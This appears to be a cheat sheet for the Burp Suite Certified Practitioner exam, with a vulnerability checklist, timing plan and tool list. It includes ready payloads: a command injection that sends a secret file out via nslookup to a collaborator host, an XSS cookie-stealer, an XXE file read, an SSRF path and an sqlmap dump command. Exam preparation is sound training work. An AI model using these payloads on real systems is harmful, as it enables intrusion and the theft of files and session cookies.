- 2 Applications × 2 Hours Each = 4 hours total
- 3 Stages per Application:
- Get access to any user
- Escalate to administrator
- Read
/home/carlos/secret
- Scan search input with Burp Scanner → XSS
- Check password reset → Host header poisoning
- Look for tracking.js + X-Cache → Web cache poisoning
- Test feedback forms → HTTP request smuggling
- Find Advanced Search → SQLMap
--level 5 --risk 3 - Check profile update JSON → Look for
roleId,isAdmin - Test email change → CSRF → Reset admin password
- Analyze JWT → Algorithm confusion, header injection
- Feedback form email field →
||nslookup $(cat /home/carlos/secret).burp.oastify.com|| - Image parameter → Path traversal (let Burp Scanner find it)
- Product details → SSTI
{{7*7}} - Stock check XML → XXE
- Admin panel features → SSRF to
localhost:6566
||nslookup $(cat /home/carlos/secret).burp.oastify.com||<script>document.location='http://burp.oastify.com/?c='+document.cookie</script>If basic traversal works but /home/carlos/secret blocked:
- Use full path URL encoding (double-encoded entire payload)
http://localhost:6566/home/carlos/secret
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/carlos/secret"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>sqlmap -r request.txt --level 5 --risk 3 --batch --dump- Burp Scanner - Run on everything
- Burp Collaborator - Always have it ready
- SQLMap - For SQL injection
- JWT Editor - Burp extension for JWT
- Param Miner - For cache poisoning
- HTTP Request Smuggler - For request smuggling
- Hackvertor - For XML encoding
| Time | Activity |
|---|---|
| 0-5 min | Explore app, identify functionality |
| 5-40 min | Stage 1: Get user access |
| 40-80 min | Stage 2: Escalate privileges |
| 80-120 min | Stage 3: Read secret file |
If stuck >15 min on one stage → Move to other app!
- Use Burp Scanner aggressively - It finds 80% of vulnerabilities
- DNS exfiltration for command injection - Most reliable method
- SQLMap for SQL injection - Don't waste time on manual
- Check port 6566 for SSRF - Exam-specific internal service
- Full URL encoding for path traversal - If basic payloads blocked
- Always test feedback forms - Common for command injection
- Look for Advanced Search - Usually SQL injection
- JWT algorithm confusion - RS256 → HS256 is common
- Host header on password reset - Easy win for Stage 1
- Keep Burp Collaborator open - Essential for out-of-band attacks
- Burp Suite configured and licensed
- Burp Collaborator working
- SQLMap installed and tested
- Essential Burp extensions installed:
- JWT Editor
- Param Miner
- HTTP Request Smuggler
- Hackvertor
- Java Deserialization Scanner
- Reviewed all cheatsheets
- Practiced all PortSwigger labs
- Comfortable with Burp Scanner
- Know how to use SQLMap
- Stay calm - You have 4 hours
- Use Scanner - Let it run while you explore
- Document findings - Keep notes of what you've tried
- Switch apps if stuck - Don't waste time
- Read error messages - They often reveal vulnerabilities
- Check Burp Collaborator regularly - Don't miss callbacks
- Time box each stage - 40 min max per stage
- Pass: Complete both applications (all 6 stages)
- Each stage: Must be completed in sequence
- Final goal: Read
/home/carlos/secreton both apps
Good luck! You've got this! 🎓